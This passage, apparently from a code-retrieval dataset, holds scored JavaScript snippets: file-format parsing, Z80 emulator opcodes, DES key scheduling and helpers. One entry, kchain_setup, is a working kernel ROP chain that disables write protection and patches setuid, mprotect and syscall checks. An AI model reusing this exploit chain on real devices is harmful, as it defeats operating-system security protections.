sector_list[minifat_store].name = \"!StreamData\";\n\t\t\t/*minifat_size = o.size;*/\n\t\t} else if(o.size >= 4096 /* MSCSZ */) {\n\t\t\to.storage = 'fat';\n\t\t\tif(sector_list[o.start] === undefined) sector_list[o.start] = get_sector_list(sectors, o.start, sector_list.fat_addrs, sector_list.ssz);\n\t\t\tsector_list[o.start].name = o.name;\n\t\t\to.content = sector_list[o.start].data.slice(0,o.size);\n\t\t\tprep_blob(o.content, 0);\n\t\t} else {\n\t\t\to.storage = 'minifat';\n\t\t\tif(minifat_store !== ENDOFCHAIN && o.start !== ENDOFCHAIN) {\n\t\t\t\to.content = sector_list[minifat_store].data.slice(o.start*MSSZ,o.start*MSSZ+o.size);\n\t\t\t\tprep_blob(o.content, 0);\n\t\t\t}\n\t\t}\n\t\tfiles[name] = o;\n\t\tFileIndex.push(o);\n\t}\n}", "title": "" }, { "docid": "35b87cc347b46378762e1da63ca510ac", "score": "0.481486", "text": "constructor(){\n this.head = null;\n this.size = 0;\n this.tk_parts = ['1', '2a', '2b', '3a', '3b', '3c', '3d', '3e', '4a', '4b', '5', '6', '7'];\n }", "title": "" }, { "docid": "f141f7072c89c215e207cc9d9272cff7", "score": "0.47065514", "text": "function ldi() {\n CPU.tCycles += 16;\n\n let hl = r16.get(i16.HL);\n let de = r16.get(i16.DE);\n let bc = r16.get(i16.BC);\n\n mem[de] = mem[hl];\n r16.set(i16.HL, hl + 1);\n r16.set(i16.DE, de + 1);\n r16.set(i16.BC, bc - 1);\n\n //Flags\n flags.set(fi.H, false);\n flags.set(fi.PV, (bc - 1) != 0);\n flags.set(fi.N, false);\n\n}", "title": "" }, { "docid": "f1747fc3dce1e1739005d01fc84d51a0", "score": "0.4706345", "text": "findNextPath(guid) {\n let path = this.findPath(guid);\n path[path.length - 1]++;\n\n // check for the first block in the next section\n if (!this.map.getIn(path)) {\n path = ['sections', path[1]+1, 'blocks', 0];\n }\n\n // no more blocks\n if (!this.map.getIn(path)) {\n path = null;\n }\n return path;\n }", "title": "" }, { "docid": "b5e75afe97ce99f24f7283bcee562256", "score": "0.46657482", "text": "function lddr() {\n let bc = r16.get(i16.BC);\n let pc = r16.get(i16.PC);\n\n ldd(true); // 16 tCycles\n\n // Repeat condition\n if ((bc - 1) != 0) {\n CPU.tCycles += 5;\n pc -= 2;\n r16.set(i16.PC, pc);\n }\n\n}", "title": "" }, { "docid": "ceacbbb6289dda5e1fa4364028d2d05c", "score": "0.46608278", "text": "function initRefStepPosOctave() {\n\trefStep = [\"b\",\"a\",\"g\",\"f\",\"e\",\"d\",\"c\"];\n\trefPos = new Array();\n\trefOctave = new Array();\n\tk=0;\n\toct = 6;\n\tfor (var i=0;i<41;i++) {\n\t\trefPos[refPos.length] = k;\n\t\trefOctave[refOctave.length] = oct;\n\t\tk += 5;\n\t\tif ((i+1)%7==0) {\n\t\t\toct--;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "f13c156e760e285692b9e3886ec757c4", "score": "0.46602985", "text": "readFile(dirEntry) {\n const parts = [];\n let sectorCount = dirEntry.sectorCount + (dirEntry.lastSectorSize > 0 ? 1 : 0);\n for (const extent of dirEntry.extents) {\n let trackNumber = extent.trackNumber;\n let sectorNumber = extent.granuleOffset * SECTORS_PER_GRANULE + 1;\n for (let i = 0; i < extent.granuleCount * SECTORS_PER_GRANULE && sectorCount > 0; i++, sectorNumber++, sectorCount--) {\n if (sectorNumber > Trsdos_SECTORS_PER_TRACK) {\n // Move to the next track.\n sectorNumber -= Trsdos_SECTORS_PER_TRACK;\n trackNumber += 1;\n }\n const sector = this.disk.readSector(trackNumber, Side.FRONT, sectorNumber);\n if (sector === undefined) {\n console.log(`Sector couldn't be read ${trackNumber}, ${sectorNumber}`);\n // TODO\n }\n else {\n // TODO check deleted?\n if (sector.crcError) {\n console.log(\"Sector has CRC error\");\n }\n if (sector.deleted) {\n // console.log(\"Sector \" + sectorNumber + \" is deleted\");\n }\n parts.push(sector.data);\n }\n }\n }\n // Clip last sector.\n if (parts.length > 0 && dirEntry.lastSectorSize > 0) {\n parts[parts.length - 1] = parts[parts.length - 1].subarray(0, dirEntry.lastSectorSize);\n }\n return Object(teamten_ts_utils_dist[\"concatByteArrays\"])(parts);\n }", "title": "" }, { "docid": "4b80709363a75c88b37088e38a0cab2b", "score": "0.46534014", "text": "function des_createKeys(key) {\n //declaring this locally speeds things up a bit\n var pc2bytes0 = new Array(0, 0x4, 0x20000000, 0x20000004, 0x10000, 0x10004, 0x20010000, 0x20010004, 0x200, 0x204, 0x20000200, 0x20000204, 0x10200, 0x10204, 0x20010200, 0x20010204);\n var pc2bytes1 = new Array(0, 0x1, 0x100000, 0x100001, 0x4000000, 0x4000001, 0x4100000, 0x4100001, 0x100, 0x101, 0x100100, 0x100101, 0x4000100, 0x4000101, 0x4100100, 0x4100101);\n var pc2bytes2 = new Array(0, 0x8, 0x800, 0x808, 0x1000000, 0x1000008, 0x1000800, 0x1000808, 0, 0x8, 0x800, 0x808, 0x1000000, 0x1000008, 0x1000800, 0x1000808);\n var pc2bytes3 = new Array(0, 0x200000, 0x8000000, 0x8200000, 0x2000, 0x202000, 0x8002000, 0x8202000, 0x20000, 0x220000, 0x8020000, 0x8220000, 0x22000, 0x222000, 0x8022000, 0x8222000);\n var pc2bytes4 = new Array(0, 0x40000, 0x10, 0x40010, 0, 0x40000, 0x10, 0x40010, 0x1000, 0x41000, 0x1010, 0x41010, 0x1000, 0x41000, 0x1010, 0x41010);\n var pc2bytes5 = new Array(0, 0x400, 0x20, 0x420, 0, 0x400, 0x20, 0x420, 0x2000000, 0x2000400, 0x2000020, 0x2000420, 0x2000000, 0x2000400, 0x2000020, 0x2000420);\n var pc2bytes6 = new Array(0, 0x10000000, 0x80000, 0x10080000, 0x2, 0x10000002, 0x80002, 0x10080002, 0, 0x10000000, 0x80000, 0x10080000, 0x2, 0x10000002, 0x80002, 0x10080002);\n var pc2bytes7 = new Array(0, 0x10000, 0x800, 0x10800, 0x20000000, 0x20010000, 0x20000800, 0x20010800, 0x20000, 0x30000, 0x20800, 0x30800, 0x20020000, 0x20030000, 0x20020800, 0x20030800);\n var pc2bytes8 = new Array(0, 0x40000, 0, 0x40000, 0x2, 0x40002, 0x2, 0x40002, 0x2000000, 0x2040000, 0x2000000, 0x2040000, 0x2000002, 0x2040002, 0x2000002, 0x2040002);\n var pc2bytes9 = new Array(0, 0x10000000, 0x8, 0x10000008, 0, 0x10000000, 0x8, 0x10000008, 0x400, 0x10000400, 0x408, 0x10000408, 0x400, 0x10000400, 0x408, 0x10000408);\n var pc2bytes10 = new Array(0, 0x20, 0, 0x20, 0x100000, 0x100020, 0x100000, 0x100020, 0x2000, 0x2020, 0x2000, 0x2020, 0x102000, 0x102020, 0x102000, 0x102020);\n var pc2bytes11 = new Array(0, 0x1000000, 0x200, 0x1000200, 0x200000, 0x1200000, 0x200200, 0x1200200, 0x4000000, 0x5000000, 0x4000200, 0x5000200, 0x4200000, 0x5200000, 0x4200200, 0x5200200);\n var pc2bytes12 = new Array(0, 0x1000, 0x8000000, 0x8001000, 0x80000, 0x81000, 0x8080000, 0x8081000, 0x10, 0x1010, 0x8000010, 0x8001010, 0x80010, 0x81010, 0x8080010, 0x8081010);\n var pc2bytes13 = new Array(0, 0x4, 0x100, 0x104, 0, 0x4, 0x100, 0x104, 0x1, 0x5, 0x101, 0x105, 0x1, 0x5, 0x101, 0x105);\n\n //how many iterations (1 for des, 3 for triple des)\n var iterations = key.length > 8 ? 3 : 1; //changed by Paul 16/6/2007 to use Triple DES for 9+ byte keys\n //stores the return keys\n var keys = new Array(32 * iterations);\n //now define the left shifts which need to be done\n var shifts = new Array(0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0);\n //other variables\n var lefttemp,\n righttemp,\n m = 0,\n n = 0,\n temp;\n\n for (var j = 0; j < iterations; j++) {\n //either 1 or 3 iterations\n var left = key[m++] << 24 | key[m++] << 16 | key[m++] << 8 | key[m++];\n var right = key[m++] << 24 | key[m++] << 16 | key[m++] << 8 | key[m++];\n\n temp = (left >>> 4 ^ right) & 0x0f0f0f0f;\n right ^= temp;\n left ^= temp << 4;\n temp = (right >>> -16 ^ left) & 0x0000ffff;\n left ^= temp;\n right ^= temp << -16;\n temp = (left >>> 2 ^ right) & 0x33333333;\n right ^= temp;\n left ^= temp << 2;\n temp = (right >>> -16 ^ left) & 0x0000ffff;\n left ^= temp;\n right ^= temp << -16;\n temp = (left >>> 1 ^ right) & 0x55555555;\n right ^= temp;\n left ^= temp << 1;\n temp = (right >>> 8 ^ left) & 0x00ff00ff;\n left ^= temp;\n right ^= temp << 8;\n temp = (left >>> 1 ^ right) & 0x55555555;\n right ^= temp;\n left ^= temp << 1;\n\n //the right side needs to be shifted and to get the last four bits of the left side\n temp = left << 8 | right >>> 20 & 0x000000f0;\n //left needs to be put upside down\n left = right << 24 | right << 8 & 0xff0000 | right >>> 8 & 0xff00 | right >>> 24 & 0xf0;\n right = temp;\n\n //now go through and perform these shifts on the left and right keys\n for (var i = 0; i < shifts.length; i++) {\n //shift the keys either one or two bits to the left\n if (shifts[i]) {\n left = left << 2 | left >>> 26;\n right = right << 2 | right >>> 26;\n } else {\n left = left << 1 | left >>> 27;\n right = right << 1 | right >>> 27;\n }\n left &= -0xf;\n right &= -0xf;\n\n //now apply PC-2, in such a way that E is easier when encrypting or decrypting\n //this conversion will look like PC-2 except only the last 6 bits of each byte are used\n //rather than 48 consecutive bits and the order of lines will be according to\n //how the S selection functions will be applied: S2, S4, S6, S8, S1, S3, S5, S7\n lefttemp = pc2bytes0[left >>> 28] | pc2bytes1[left >>> 24 & 0xf] | pc2bytes2[left >>> 20 & 0xf] | pc2bytes3[left >>> 16 & 0xf] | pc2bytes4[left >>> 12 & 0xf] | pc2bytes5[left >>> 8 & 0xf] | pc2bytes6[left >>> 4 & 0xf];\n righttemp = pc2bytes7[right >>> 28] | pc2bytes8[right >>> 24 & 0xf] | pc2bytes9[right >>> 20 & 0xf] | pc2bytes10[right >>> 16 & 0xf] | pc2bytes11[right >>> 12 & 0xf] | pc2bytes12[right >>> 8 & 0xf] | pc2bytes13[right >>> 4 & 0xf];\n temp = (righttemp >>> 16 ^ lefttemp) & 0x0000ffff;\n keys[n++] = lefttemp ^ temp;\n keys[n++] = righttemp ^ temp << 16;\n }\n } //for each iterations\n //return the keys we've created\n return keys;\n} //end of des_createKeys", "title": "" }, { "docid": "15d7d73b45ea2bb501094bee80286a21", "score": "0.46530673", "text": "function kchain_setup() {\n const KERNEL_busy = 0x1B28DF8;\n\n const KERNEL_bcopy = 0xACD;\n const KERNEL_bzero = 0x2713FD;\n const KERNEL_pagezero = 0x271441;\n const KERNEL_memcpy = 0x2714BD;\n const KERNEL_pagecopy = 0x271501;\n const KERNEL_copyin = 0x2716AD;\n const KERNEL_copyinstr = 0x271B5D;\n const KERNEL_copystr = 0x271C2D;\n const KERNEL_setidt = 0x312c40;\n const KERNEL_setcr0 = 0x1FB949;\n const KERNEL_Xill = 0x17d500;\n const KERNEL_veriPatch = 0x626874;\n const KERNEL_enable_syscalls_1 = 0x490;\n const KERNEL_enable_syscalls_2 = 0x4B5;\n const KERNEL_enable_syscalls_3 = 0x4B9;\n const KERNEL_enable_syscalls_4 = 0x4C2;\n const KERNEL_mprotect = 0x80B8D;\n const KERNEL_prx = 0x23AEC4;\n const KERNEL_dlsym_1 = 0x23B67F;\n const KERNEL_dlsym_2 = 0x221b40;\n const KERNEL_setuid = 0x1A06;\n const KERNEL_syscall11_1 = 0x1100520;\n const KERNEL_syscall11_2 = 0x1100528;\n const KERNEL_syscall11_3 = 0x110054C;\n const KERNEL_syscall11_gadget = 0x4c7ad;\n const KERNEL_mmap_1 = 0x16632A;\n const KERNEL_mmap_2 = 0x16632D;\n const KERNEL_setcr0_patch = 0x3ade3B;\n const KERNEL_kqueue_close_epi = 0x398991;\n\n SAVED_KERNEL_STACK_PTR = p.malloc(0x200);\n KERNEL_BASE_PTR = SAVED_KERNEL_STACK_PTR.add32(0x8);\n //negative offset of kqueue string to kernel base\n //0xFFFFFFFFFF86B593 0x505\n //0xFFFFFFFFFF80E364 0x900\n p.write8(KERNEL_BASE_PTR, new int64(0xFF80E364, 0xFFFFFFFF));\n\n kchain = new rop();\n kchain2 = new rop();\n //Ensure the krop stack remains available.\n {\n chain.fcall(window.syscalls[203], kchain.stackback, 0x40000);\n chain.fcall(window.syscalls[203], kchain2.stackback, 0x40000);\n chain.fcall(window.syscalls[203], SAVED_KERNEL_STACK_PTR, 0x10);\n }\n chain.run();\n\n kchain.count = 0;\n kchain2.count = 0;\n\n kchain.set_kernel_var(KERNEL_BASE_PTR);\n kchain2.set_kernel_var(KERNEL_BASE_PTR);\n\n kchain.push(gadgets[\"pop rax\"]);\n kchain.push(SAVED_KERNEL_STACK_PTR);\n kchain.push(gadgets[\"mov [rax], rdi\"]);\n kchain.push(gadgets[\"pop r8\"]);\n kchain.push(KERNEL_BASE_PTR);\n kchain.push(gadgets[\"add [r8], r12\"]);\n\n //Sorry we're closed\n kchain.kwrite1(KERNEL_busy, 0x1);\n kchain.push(gadgets[\"sti\"]); //it should be safe to re-enable interrupts now.\n\n\n var idx1 = kchain.write_kernel_addr_to_chain_later(KERNEL_setidt);\n var idx2 = kchain.write_kernel_addr_to_chain_later(KERNEL_setcr0);\n //Modify UD\n kchain.push(gadgets[\"pop rdi\"]);\n kchain.push(0x6);\n kchain.push(gadgets[\"pop rsi\"]);\n kchain.push(gadgets[\"mov rsp, rdi\"]);\n kchain.push(gadgets[\"pop rdx\"]);\n kchain.push(0xE);\n kchain.push(gadgets[\"pop rcx\"]);\n kchain.push(0x0);\n kchain.push(gadgets[\"pop r8\"]);\n kchain.push(0x0);\n var idx1_dest = kchain.get_rsp();\n kchain.pushSymbolic(); // overwritten with KERNEL_setidt\n\n kchain.push(gadgets[\"pop rsi\"]);\n kchain.push(0x80040033);\n kchain.push(gadgets[\"pop rdi\"]);\n kchain.push(kchain2.stack);\n var idx2_dest = kchain.get_rsp();\n kchain.pushSymbolic(); // overwritten with KERNEL_setcr0\n\n kchain.finalizeSymbolic(idx1, idx1_dest);\n kchain.finalizeSymbolic(idx2, idx2_dest);\n\n\n //Initial patch(es)\n kchain2.kwrite2(KERNEL_veriPatch, 0x9090);\n kchain2.kwrite1(KERNEL_bcopy, 0xEB);\n //might as well do the others\n kchain2.kwrite1(KERNEL_bzero, 0xEB);\n kchain2.kwrite1(KERNEL_pagezero, 0xEB);\n kchain2.kwrite1(KERNEL_memcpy, 0xEB);\n kchain2.kwrite1(KERNEL_pagecopy, 0xEB);\n kchain2.kwrite1(KERNEL_copyin, 0xEB);\n kchain2.kwrite1(KERNEL_copyinstr, 0xEB);\n kchain2.kwrite1(KERNEL_copystr, 0xEB);\n\n //I guess you're not all that bad...\n kchain2.kwrite1(KERNEL_busy, 0x0); //it should now be safe to handle timer-y interrupts again\n\n //Restore original UD\n var idx3 = kchain2.write_kernel_addr_to_chain_later(KERNEL_Xill);\n var idx4 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setidt);\n kchain2.push(gadgets[\"pop rdi\"]);\n kchain2.push(0x6);\n kchain2.push(gadgets[\"pop rsi\"]);\n var idx3_dest = kchain2.get_rsp();\n kchain2.pushSymbolic(); // overwritten with KERNEL_Xill\n kchain2.push(gadgets[\"pop rdx\"]);\n kchain2.push(0xE);\n kchain2.push(gadgets[\"pop rcx\"]);\n kchain2.push(0x0);\n kchain2.push(gadgets[\"pop r8\"]);\n kchain2.push(0x0);\n var idx4_dest = kchain2.get_rsp();\n kchain2.pushSymbolic(); // overwritten with KERNEL_setidt \n\n kchain2.finalizeSymbolic(idx3, idx3_dest);\n kchain2.finalizeSymbolic(idx4, idx4_dest);\n\n //Apply kernel patches \n kchain2.kwrite4(KERNEL_enable_syscalls_1, 0x00000000);\n //patch in reverse because /shrug\n kchain2.kwrite1(KERNEL_enable_syscalls_4, 0xEB);\n kchain2.kwrite2(KERNEL_enable_syscalls_3, 0x9090);\n kchain2.kwrite2(KERNEL_enable_syscalls_2, 0x9090);\n\n kchain2.kwrite1(KERNEL_setuid, 0xEB);\n kchain2.kwrite4(KERNEL_mprotect, 0x00000000);\n kchain2.kwrite2(KERNEL_prx, 0xE990);\n kchain2.kwrite1(KERNEL_dlsym_1, 0xEB);\n kchain2.kwrite4(KERNEL_dlsym_2, 0xC3C03148);\n\n kchain2.kwrite1(KERNEL_mmap_1, 0x37);\n kchain2.kwrite1(KERNEL_mmap_2, 0x37);\n\n kchain2.kwrite4(KERNEL_syscall11_1, 0x00000002);\n kchain2.kwrite8_kaddr(KERNEL_syscall11_2, KERNEL_syscall11_gadget);\n kchain2.kwrite4(KERNEL_syscall11_3, 0x00000001);\n\n //Restore CR0\n kchain2.kwrite4(KERNEL_setcr0_patch, 0xC3C7220F);\n var idx5 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setcr0_patch);\n kchain2.push(gadgets[\"pop rdi\"]);\n kchain2.push(0x80050033);\n var idx5_dest = kchain2.get_rsp();\n kchain2.pushSymbolic(); // overwritten with KERNEL_setcr0_patch\n kchain2.finalizeSymbolic(idx5, idx5_dest);\n\n //Recover\n kchain2.rax_kernel(KERNEL_kqueue_close_epi);\n kchain2.push(gadgets[\"mov rdx, rax\"]);\n kchain2.push(gadgets[\"pop rsi\"]);\n kchain2.push(SAVED_KERNEL_STACK_PTR);\n kchain2.push(gadgets[\"mov rax, [rsi]\"]);\n kchain2.push(gadgets[\"pop rcx\"]);\n kchain2.push(0x10);\n kchain2.push(gadgets[\"add rax, rcx\"]);\n kchain2.push(gadgets[\"mov [rax], rdx\"]);\n kchain2.push(gadgets[\"pop rdi\"]);\n var idx6 = kchain2.pushSymbolic();\n kchain2.push(gadgets[\"mov [rdi], rax\"]);\n kchain2.push(gadgets[\"sti\"]);\n kchain2.push(gadgets[\"pop rsp\"]);\n var idx6_dest = kchain2.get_rsp();\n kchain2.pushSymbolic(); // overwritten with old stack pointer\n kchain2.finalizeSymbolic(idx6, idx6_dest);\n}", "title": "" }, { "docid": "f6189152f9582059c5343ed02dad807a", "score": "0.46169186", "text": "function nextId(list) {\n var listId = [];\n var newId = \"\";\n // finds next available _XX number\n for (var id in list){\n listId.push(id);\n }\n\n listId.forEach(function(key,i){\n if(!listId[i + 1]) {\n newId = listId[i];\n newId = newId.slice(0,-1) + (i + 2);\n }\n });\n\n return newId;\n}", "title": "" }, { "docid": "6e9c7a33347e316dc4237cdf07f671ea", "score": "0.45901278", "text": "function ldir() {\n let bc = r16.get(i16.BC);\n let pc = r16.get(i16.PC);\n\n ldi(); // 16 tCycles\n\n // Repeat condition\n if ((bc - 1) != 0) {\n CPU.tCycles += 5;\n pc -= 2;\n r16.set(i16.PC, pc);\n }\n}", "title": "" }, { "docid": "78c7a8a93c0026c5b6d2c27133629b4b", "score": "0.45763722", "text": "function des_createKeys(key) {\n\t\n\t //declaring this locally speeds things up a bit\n\t var pc2bytes0 = new Array(0, 0x4, 0x20000000, 0x20000004, 0x10000, 0x10004, 0x20010000, 0x20010004, 0x200, 0x204, 0x20000200, 0x20000204, 0x10200, 0x10204, 0x20010200, 0x20010204);\n\t\n\t var pc2bytes1 = new Array(0, 0x1, 0x100000, 0x100001, 0x4000000, 0x4000001, 0x4100000, 0x4100001, 0x100, 0x101, 0x100100, 0x100101, 0x4000100, 0x4000101, 0x4100100, 0x4100101);\n\t\n\t var pc2bytes2 = new Array(0, 0x8, 0x800, 0x808, 0x1000000, 0x1000008, 0x1000800, 0x1000808, 0, 0x8, 0x800, 0x808, 0x1000000, 0x1000008, 0x1000800, 0x1000808);\n\t\n\t var pc2bytes3 = new Array(0, 0x200000, 0x8000000, 0x8200000, 0x2000, 0x202000, 0x8002000, 0x8202000, 0x20000, 0x220000, 0x8020000, 0x8220000, 0x22000, 0x222000, 0x8022000, 0x8222000);\n\t\n\t var pc2bytes4 = new Array(0, 0x40000, 0x10, 0x40010, 0, 0x40000, 0x10, 0x40010, 0x1000, 0x41000, 0x1010, 0x41010, 0x1000, 0x41000, 0x1010, 0x41010);\n\t\n\t var pc2bytes5 = new Array(0, 0x400, 0x20, 0x420, 0, 0x400, 0x20, 0x420, 0x2000000, 0x2000400, 0x2000020, 0x2000420, 0x2000000, 0x2000400, 0x2000020, 0x2000420);\n\t\n\t var pc2bytes6 = new Array(0, 0x10000000, 0x80000, 0x10080000, 0x2, 0x10000002, 0x80002, 0x10080002, 0, 0x10000000, 0x80000, 0x10080000, 0x2, 0x10000002, 0x80002, 0x10080002);\n\t\n\t var pc2bytes7 = new Array(0, 0x10000, 0x800, 0x10800, 0x20000000, 0x20010000, 0x20000800, 0x20010800, 0x20000, 0x30000, 0x20800, 0x30800, 0x20020000, 0x20030000, 0x20020800, 0x20030800);\n\t\n\t var pc2bytes8 = new Array(0, 0x40000, 0, 0x40000, 0x2, 0x40002, 0x2, 0x40002, 0x2000000, 0x2040000, 0x2000000, 0x2040000, 0x2000002, 0x2040002, 0x2000002, 0x2040002);\n\t\n\t var pc2bytes9 = new Array(0, 0x10000000, 0x8, 0x10000008, 0, 0x10000000, 0x8, 0x10000008, 0x400, 0x10000400, 0x408, 0x10000408, 0x400, 0x10000400, 0x408, 0x10000408);\n\t\n\t var pc2bytes10 = new Array(0, 0x20, 0, 0x20, 0x100000, 0x100020, 0x100000, 0x100020, 0x2000, 0x2020, 0x2000, 0x2020, 0x102000, 0x102020, 0x102000, 0x102020);\n\t\n\t var pc2bytes11 = new Array(0, 0x1000000, 0x200, 0x1000200, 0x200000, 0x1200000, 0x200200, 0x1200200, 0x4000000, 0x5000000, 0x4000200, 0x5000200, 0x4200000, 0x5200000, 0x4200200, 0x5200200);\n\t\n\t var pc2bytes12 = new Array(0, 0x1000, 0x8000000, 0x8001000, 0x80000, 0x81000, 0x8080000, 0x8081000, 0x10, 0x1010, 0x8000010, 0x8001010, 0x80010, 0x81010, 0x8080010, 0x8081010);\n\t\n\t var pc2bytes13 = new Array(0, 0x4, 0x100, 0x104, 0, 0x4, 0x100, 0x104, 0x1, 0x5, 0x101, 0x105, 0x1, 0x5, 0x101, 0x105);\n\t\n\t //how many iterations(1 for des,3 for triple des)\n\t var iterations = key.length >= 24 ? 3 : 1;\n\t\n\t //stores the return keys\n\t var keys = new Array(32 * iterations);\n\t\n\t //now define the left shifts which need to be done\n\t var shifts = new Array(0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0);\n\t\n\t //other variables\n\t var lefttemp,\n\t righttemp,\n\t m = 0,\n\t n = 0,\n\t temp;\n\t\n\t var left, right;\n\t for (var j = 0; j < iterations; j++) {\n\t //either 1 or 3 iterations\n\t left = key.charCodeAt(m++) << 24 | key.charCodeAt(m++) << 16 | key.charCodeAt(m++) << 8 | key.charCodeAt(m++);\n\t\n\t right = key.charCodeAt(m++) << 24 | key.charCodeAt(m++) << 16 | key.charCodeAt(m++) << 8 | key.charCodeAt(m++);\n\t\n\t temp = (left >>> 4 ^ right) & 0x0f0f0f0f;\n\t right ^= temp;\n\t left ^= temp << 4;\n\t\n\t temp = (right >>> -16 ^ left) & 0x0000ffff;\n\t left ^= temp;\n\t right ^= temp << -16;\n\t\n\t temp = (left >>> 2 ^ right) & 0x33333333;\n\t right ^= temp;\n\t left ^= temp << 2;\n\t\n\t temp = (right >>> -16 ^ left) & 0x0000ffff;\n\t left ^= temp;\n\t right ^= temp << -16;\n\t\n\t temp = (left >>> 1 ^ right) & 0x55555555;\n\t right ^= temp;\n\t left ^= temp << 1;\n\t\n\t temp = (right >>> 8 ^ left) & 0x00ff00ff;\n\t left ^= temp;\n\t right ^= temp << 8;\n\t\n\t temp = (left >>> 1 ^ right) & 0x55555555;\n\t right ^= temp;\n\t left ^= temp << 1;\n\t\n\t //the right side needs to be shifted and to get the last four bits of the left side\n\t temp = left << 8 | right >>> 20 & 0x000000f0;\n\t\n\t //left needs to be put upside down\n\t left = right << 24 | right << 8 & 0xff0000 | right >>> 8 & 0xff00 | right >>> 24 & 0xf0;\n\t\n\t right = temp;\n\t\n\t //now go through and perform these shifts on the left and right keys\n\t for (var i = 0; i < shifts.length; i++) {\n\t\n\t //shift the keys either one or two bits to the left\n\t if (shifts[i]) {\n\t left = left << 2 | left >>> 26;\n\t right = right << 2 | right >>> 26;\n\t } else {\n\t left = left << 1 | left >>> 27;\n\t right = right << 1 | right >>> 27;\n\t }\n\t\n\t left &= -0xf;\n\t right &= -0xf;\n\t\n\t //now apply PC-2,in such a way that E is easier when encrypting or decrypting\n\t //this conversion will look like PC-2 except only the last 6 bits of each byte are used\n\t //rather than 48 consecutive bits and the order of lines will be according to\n\t //how the S selection functions will be applied:S2,S4,S6,S8,S1,S3,S5,S7\n\t lefttemp = pc2bytes0[left >>> 28] | pc2bytes1[left >>> 24 & 0xf] | pc2bytes2[left >>> 20 & 0xf] | pc2bytes3[left >>> 16 & 0xf] | pc2bytes4[left >>> 12 & 0xf] | pc2bytes5[left >>> 8 & 0xf] | pc2bytes6[left >>> 4 & 0xf];\n\t\n\t righttemp = pc2bytes7[right >>> 28] | pc2bytes8[right >>> 24 & 0xf] | pc2bytes9[right >>> 20 & 0xf] | pc2bytes10[right >>> 16 & 0xf] | pc2bytes11[right >>> 12 & 0xf] | pc2bytes12[right >>> 8 & 0xf] | pc2bytes13[right >>> 4 & 0xf];\n\t\n\t temp = (righttemp >>> 16 ^ lefttemp) & 0x0000ffff;\n\t\n\t keys[n++] = lefttemp ^ temp;\n\t keys[n++] = righttemp ^ temp << 16;\n\t }\n\t }\n\t //for each iterations\n\t //return the keys we\"ve created\n\t return keys;\n\t }", "title": "" }, { "docid": "d344c7bab3e8d0c2532fbad9e27a61b8", "score": "0.45657775", "text": "function getFrontierSlot(leafIndex) {\n let slot = 0;\n if (leafIndex % 2 === 1) {\n let exp1 = 1;\n let pow1 = 2;\n let pow2 = pow1 << 1;\n while (slot === 0) {\n if ((leafIndex + 1 - pow1) % pow2 === 0) {\n slot = exp1;\n } else {\n pow1 = pow2;\n pow2 <<= 1;\n exp1 += 1;\n }\n }\n }\n return slot;\n}", "title": "" }, { "docid": "2528c2b37030d738a0df5414f3d9db00", "score": "0.45656902", "text": "initCompLevelNucleotides() {\n let paddingComp = PADDING_COMP_FACTOR * this.pathPointsFactor;\n for (let i = 0; i < paddingComp; i++) {\n this.compLevelNucleotides.push(null);\n }\n for (let i = 0; i < this.levelNucleotides.length; i++) {\n let nucleotide = this.levelNucleotides[i];\n if (nucleotide && this.level.levelConfig.lvlType == LT_DNA_REPLICATION) {\n \n // edge case: on transcription levels, we need to check that any instance of an\n // adenine is actually being matched by a uracil, not a thymine.\n /*\n let newcleotide;\n if (this.level.gameObj.levels[this.level.level].process == \"transcription\" && nucleotide.rep == \"A\") {\n newcleotide = new Nucleotide(this.level, nucleotide.matches[1], this.level.ntType);\n } else {\n newcleotide = new Nucleotide(this.level, nucleotide.matches[0], this.level.ntType);\n }\n */\n let newcleotide;\n newcleotide = new Nucleotide(this.level, nucleotide.matches[0], this.level.ntType);\n this.compLevelNucleotides.push(newcleotide);\n } else {\n this.compLevelNucleotides.push(null);\n }\n }\n\n let unshiftFactor = UNSHIFT_FACTOR[this.level.levelConfig.lvlType];\n\n for (let i = 0; i < this.pathPointsFactor * unshiftFactor; i++) {\n this.levelNucleotides.unshift(null);\n this.compLevelNucleotides.unshift(null);\n }\n\n }", "title": "" }, { "docid": "c9a820b71cdabce749fea54efd9c1313", "score": "0.4552625", "text": "function des_createKeys(key) {\n //declaring this locally speeds things up a bit\n const pc2bytes0 = [0, 0x4, 0x20000000, 0x20000004, 0x10000, 0x10004, 0x20010000, 0x20010004, 0x200, 0x204, 0x20000200, 0x20000204, 0x10200, 0x10204, 0x20010200, 0x20010204];\n const pc2bytes1 = [0, 0x1, 0x100000, 0x100001, 0x4000000, 0x4000001, 0x4100000, 0x4100001, 0x100, 0x101, 0x100100, 0x100101, 0x4000100, 0x4000101, 0x4100100, 0x4100101];\n const pc2bytes2 = [0, 0x8, 0x800, 0x808, 0x1000000, 0x1000008, 0x1000800, 0x1000808, 0, 0x8, 0x800, 0x808, 0x1000000, 0x1000008, 0x1000800, 0x1000808];\n const pc2bytes3 = [0, 0x200000, 0x8000000, 0x8200000, 0x2000, 0x202000, 0x8002000, 0x8202000, 0x20000, 0x220000, 0x8020000, 0x8220000, 0x22000, 0x222000, 0x8022000, 0x8222000];\n const pc2bytes4 = [0, 0x40000, 0x10, 0x40010, 0, 0x40000, 0x10, 0x40010, 0x1000, 0x41000, 0x1010, 0x41010, 0x1000, 0x41000, 0x1010, 0x41010];\n const pc2bytes5 = [0, 0x400, 0x20, 0x420, 0, 0x400, 0x20, 0x420, 0x2000000, 0x2000400, 0x2000020, 0x2000420, 0x2000000, 0x2000400, 0x2000020, 0x2000420];\n const pc2bytes6 = [0, 0x10000000, 0x80000, 0x10080000, 0x2, 0x10000002, 0x80002, 0x10080002, 0, 0x10000000, 0x80000, 0x10080000, 0x2, 0x10000002, 0x80002, 0x10080002];\n const pc2bytes7 = [0, 0x10000, 0x800, 0x10800, 0x20000000, 0x20010000, 0x20000800, 0x20010800, 0x20000, 0x30000, 0x20800, 0x30800, 0x20020000, 0x20030000, 0x20020800, 0x20030800];\n const pc2bytes8 = [0, 0x40000, 0, 0x40000, 0x2, 0x40002, 0x2, 0x40002, 0x2000000, 0x2040000, 0x2000000, 0x2040000, 0x2000002, 0x2040002, 0x2000002, 0x2040002];\n const pc2bytes9 = [0, 0x10000000, 0x8, 0x10000008, 0, 0x10000000, 0x8, 0x10000008, 0x400, 0x10000400, 0x408, 0x10000408, 0x400, 